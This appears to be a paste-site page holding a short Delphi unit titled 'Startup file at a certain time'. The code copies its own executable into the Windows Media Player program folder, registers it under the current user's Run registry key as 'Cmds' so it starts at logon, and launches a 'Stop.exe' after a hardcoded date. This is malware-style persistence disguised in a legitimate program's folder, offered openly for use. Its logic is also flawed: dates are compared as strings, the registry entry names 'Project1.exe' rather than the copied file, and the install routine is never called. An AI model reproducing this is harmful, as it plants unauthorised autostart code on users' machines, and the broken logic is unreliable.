appo icon

Startup file at a certain time

appo | PRO | 12/27/13 08:41:08 PM UTC | 0 ⭐ | 611 👁️ | Never ⏰ | []
Delphi |

1.36 KB

|

None

|

0 👍

/

0 👎

unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, registry, ExtCtrls;
 
type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    nowP: TTime;
    procedure SHWait;
  end;
 
var
  Form1: TForm1;
 
implementation
uses DateUtils, Math, ShellAPI;
 
{$R *.dfm}
 
//Copy + autorun
procedure TForm1.SHWait;
var
reg: tregistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Cmds','C:\Program Files\Windows Media Player\Project1.exe');
Reg.CloseKey;
end;
 
// Start program
procedure TForm1.FormCreate(Sender: TObject);
Begin
If DateToStr(Now) > '02.07.2013' Then
Begin
ShellExecute(Handle,'open', 'C:\Program Files\Windows Media Player\Stop.exe', nil, nil, SW_SHOWNORMAL);
Form1.Close;
Application.Terminate;
End;
End;
 
procedure TForm1.Timer1Timer(Sender: TObject);
Begin
If DateToStr(Now) > '10.01.2013' Then
Begin
Form1.Close;
Application.Terminate;
end;
end;
end.
 
// Coded by Appo //

Comments